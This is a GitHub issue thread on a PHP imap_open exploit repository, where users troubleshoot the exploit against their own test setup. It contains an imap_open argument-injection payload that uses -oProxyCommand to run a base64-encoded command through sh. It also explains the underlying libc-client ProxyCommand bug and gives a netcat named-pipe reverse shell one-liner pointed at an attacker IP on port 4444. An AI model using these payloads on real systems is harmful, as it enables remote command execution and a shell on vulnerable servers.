Bo0oM/PHP_imap_open_exploit

error

kp625544 opened this issue · 2 comments

kp625544 commented

PHP Warning: imap_open(): Couldn't open stream {x -oProxyCommand=echo ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64 -d|sh}:143/imap}INBOX in /tmp/test/test.php on line 4

Error: No such host as x -oProxyCommand=echo ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64 -d|shPHP Notice: Unknown: No such host as x -oProxyCommand=echo ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64 -d|sh (errflg=2) in Unknown on line 0

simonvik commented

@kp625544 it works even if you get that error, check your tmp

The bug seems to be in the libc-client2007e it will try to run "rsh" or "ssh" in some situation and that runs the proxycommand...

The code is horrible and i wonder why its not fixed in ubuntu yet :(

kp625544 commented

@simonvik thanks for the reply. it worked! but most reverse shell command failed whereas only this worked
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> 4444 >/tmp/f